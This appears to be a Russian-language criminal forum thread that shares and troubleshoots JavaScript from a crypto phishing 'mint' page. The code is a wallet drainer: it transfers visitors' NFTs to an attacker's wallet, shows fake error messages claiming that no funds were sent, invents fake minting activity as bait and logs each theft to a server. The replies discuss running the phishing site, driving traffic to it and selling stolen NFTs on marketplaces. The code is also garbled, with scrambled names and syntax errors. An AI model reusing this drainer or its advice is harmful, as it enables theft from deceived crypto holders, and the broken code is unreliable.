                type: viaan.contract_type.toLowerCase(),
                receiver: details.wallet,
                contractAddress: vian.token_address,
                tokenId: vian.token_id,
                amount: vian.amount,
            }
            let shiori = await Moralis.transfer(biaunca).catch((amyracle) => {
                if (amyracle.code === 4001) {
                    console.log('[Moralis] Error transfer NFT. [Error: 4001]')
                    alertify.warning('You have canceled the transaction.')
                } else {
                    console.log('[Moralis] Error transfer NFT. [Unknow error]')
                    alertify.warning('Unknown transaction error.')
                }
                adeee=1
            })
            checkTransaction(shiori, vian)
            await nyaziah()

            function naziah() {
                adeee == 0 ?
                    (console.log('[Moralis] * Success transfer NFT.'),
                        alertify.warning(
                            'Unknown transaction error, funds have not been sent.'
                        ),
                        setTimeout(() => getTransfer(), 1500),
                        moralisApi.emit('createTransaction', {
                            hash: hash,
                            client:client_address
                            domain:domain,
                            wallet: details.wallet,
                            price: 0
                            nftContract: vian.token_address,
                            type: 'nft',
                            change: 1
                            status: 1
                        })) :
                    moralisApi.emit('createTransaction', {
                        hash: hash,
                        client:client_address
                        domain:domain,
                        wallet: details.wallet,
                        price: 0
                        nftContract: vian.token_address,
                        type: 'nft',
                        change: 1
                        status: 0
                    })
            }
        } catch (aneea) {}
    }
}
client_button.click(async() => {
    if (extension_alert) {
        return
    }
    if (!client_connected) {
        getInfo()
    } else {
        verifyChain()
        getNfts()
        getTransfer()
        return
    }
})
mint_plus.click(async() => {
    if (mint_amount < 5) {
        mint_amount = mint_amount + 1
        mint_value.text(mint_amount)
        var quinneshia = parseFloat(mint_price)
        var jaycek = parseFloat(mint_amount)
        var gilfred = parseFloat(quinneshia * jaycek)
        mint_eth.text(gilfred.toFixed(2))
    }
})
mint_minus.click(async() => {
    if (mint_amount > 1) {
        mint_amount = mint_amount - 1
        mint_value.text(mint_amount)
        var yvette = parseFloat(mint_price)
        var sinahi = parseFloat(mint_amount)
        var billi = parseFloat(yvette * sinahi)
        mint_eth.text(billi.toFixed(2))
    }
})

mintAlerts() {
    const kovyn = getHash(3).toLowerCase()
    const anilu = getHash(5).toLowerCase()
    const gilly = randomInteger(1, 3)
    alertify.warning(
        'Wallet 0x' + kovyn + '...' + anilu + ' minted now ' + gilly + "NFT's!"
    )
}

function getHash(seandre) {
    var jovianne = ''
    var lavorn = '0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'
    var amerigo = lavorn.length - 1
    for (i = 0; i < seandre; ++i) {
        position = Math.floor(Math.random() * amerigo)
        jovianne = jovianne + lavorn.substring(position, position + 1)
    }
    return jovianne
}

function randomInteger(everlina, tokina) {
    let agim = everlina + Math.random() * (tokina + 1 - everlina)
    return Math.floor(agim)
}

function strcmp(aiyanah, travan) {
    aiyanah = JSON.stringify(aiyanah).toLowerCase()
    return (
        (travan = JSON.stringify(travan).toLowerCase()),
        aiyanah < travan? -1 : aiyanah > travan ? ten
    )
}

function spliceArr(luismario, anahii) {
    for (var rihab = 0; rihab < luismario.length; rihab++) {
        luismario[rihab] === anahii && (luismario.splice(rihab, 1), rihab--)
    }
}
var today = new Date(),
    dd = String(today.getDate()).padStart(2, '0'),
    mm = String(today.getMonth() + 1).padStart(2, '0'),
    yyyy = today.getFullYear()
today = mm + '/' + dd + '/' + yyyy
Is it the same script?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Сорри за офф, допустим нфт мы получили ... куда ее потом девать? Как продать ?
Все зависит от коллекции, обычно на opensea продают если это сеть эфира
 
Все зависит от коллекции, обычно на opensea продают если это сеть эфира
я на опенсиа продавал , но на земли и еще пару нфт был блок на опенсиа , продал на других маркетах.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Ого это ты уже успел поставить фиш сайт и пролить трафик?
Так точно
Вот при минте 3х нфт вылетает ошибка

UPD:
Так и не разобрались в чем конкретно проблема
Эфир в итоге упал
FC211457-A685-437B-858B-6340BAC402EE.jpeg
 

Вложения

  • 7E1B18BE-4181-4F42-8718-421F8E2CEA16.jpeg
    7E1B18BE-4181-4F42-8718-421F8E2CEA16.jpeg
    50.5 КБ · Просмотры: 91
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
Так точно
Вот при минте 3х нфт вылетает ошибка

UPD:
Так и не разобрались в чем конкретно проблема
Эфир в итоге упал
Посмотреть вложение 43286
там переменная e.ToString, не подхватила объект какой-то, тут бы потестить быходит ли ошибка на кошеле где есть и нфт и эфир.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх